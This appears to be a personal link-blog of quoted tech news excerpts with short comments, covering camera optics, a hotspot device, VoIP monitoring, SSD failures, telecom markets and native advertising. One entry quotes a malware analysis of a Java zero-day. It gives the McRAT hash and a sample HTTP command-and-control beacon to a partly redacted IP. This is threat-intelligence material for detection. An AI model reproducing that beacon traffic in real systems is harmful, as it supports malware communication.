Understanding Camera Optics & Smartphone Camera Trends, A Presentation by Brian Klug

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For readers here I think this is a great primer for what the state of things looks like if you’re not paying super close attention to smartphone cameras, and also the imaging chain at a high level on a mobile device.

Some figures are from of the incredibly useful (never leaves my side in book form or PDF form) Field Guide to Geometrical Optics by John Greivenkamp, a few other are my own or from OmniVision or Wikipedia. I’ve put the slides into a gallery and gone through them pretty much individually, but if you want the PDF version, you can find it here.

via AnandTech – Understanding Camera Optics & Smartphone Camera Trends, A Presentation by Brian Klug.

A Look At YourKarma, A Tiny Wi-Fi Hotspot On A Mission

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The YourKarma device creates a WiFi hotspot that moves around with you, and connects your WiFi connected devices to the Internet. This is just like the tethering option available on your pocket computer; but YourKarma sends data through Clearwire’s cellular network.

via A Look At YourKarma, A Tiny Wi-Fi Hotspot On A Mission | TechCrunch.

Yet Another Java Zero-Day

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The exploit is not very reliable, as it tries to overwrite a big chunk of memory. As a result, in most cases, upon exploitation, we can still see the payload downloading, but it fails to execute and yields a JVM crash. When the McRAT successfully installs in the compromised endpoint as an EXE (MD5: 4d519bf53a8217adc4c15d15f0815993), it generates the following HTTP command and control traffic:

POST /59788582 HTTP/1.0
Content-Length: 44
Accept: text/html,application/xhtml+xml,application/xml,*/*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 110.XXX.55.187
Pragma: no-cache

via Malware Intelligence Lab from FireEye – Research & Analysis of Zero-Day & Advanced Targeted Threats:YAJ0: Yet Another Java Zero-Day.

It should be possible to detect this using something like snort at the firewall/gateway.

VoIPmonitor

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VoIPmonitor is open source network packet sniffer with commercial frontend for SIP RTP and RTCP VoIP protocols running on linux. VoIPmonitor is designed to analyze quality of VoIP call based on network parameters – delay variation and packet loss according to ITU-T G.107 E-model which predicts quality on MOS scale. Calls with all relevant statistics are saved to MySQL or ODBC database. Optionally each call can be saved to pcap file with either only SIP protocol or SIP/RTP/RTCP/T.38/udptl protocols. VoIPmonitor can also decode speech and play it over the commercial WEB GUI or save it to disk as WAV. Supported codecs are G.711 alaw/ulaw and commercial plugins supports G.722 G.729a G.723 iLBC Speex GSM Silk iSAC. VoIPmonitor is also able to convert T.38 FAX to PDF.

via VoIPmonitor – VoIP monitoring software – quality analyzer – WAV recorder.

Life For European Telecom Carriers Will Not Get Any Easier In 2013

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The European carrier market will continue to suffer. Once upon a time, Europe led in telecom innovation and usage via a couple of large carriers and network equipment suppliers. More than 100 carriers in the 27 European countries are after 650 million consumers — less than the installed base of China Mobile alone. Competition will be fierce, especially in France with Free/Iliad’s aggressive disruption. Expect regulation, acquisitions, and cost-sharing to be high on the agenda, but the No. 1 challenge is to invent a new business model via more strategic partnerships with OTT players.

via Life For European Telecom Carriers Will Not Get Any Easier In 2013 | Forrester Blogs.

How SSD power faults scramble your data

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The 2 SSDs that had no failures? Both were MLC 2012 model years with a mid-range – $1.17/GB – price.

via How SSD power faults scramble your data | ZDNet.

Yikes!

This paper reminds us that SSDs are very new technology whose idiosyncracies are still being engineered around. We’re still 5 years away from the average enterprise SSD being as reliable as the average enterprise hard drive is today.

The Native Advertising Summit

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The first conference dedicated to defining and discussing the future of native advertising.

via The Native Advertising Summit – Presented by Sharethrough.

I had suspected for quite awhile that a lot of content on newspaper sites I frequent like Chicago Tribune and Chicago Sun Times have been using native advertising for many years now.  It’s nice to see this practice being discussed publicly.  I find native advertising creepy because it treats users as idiots.  It is fun now trying to spot native ads and try guessing the sponsor.

More on the concept of native advertising here.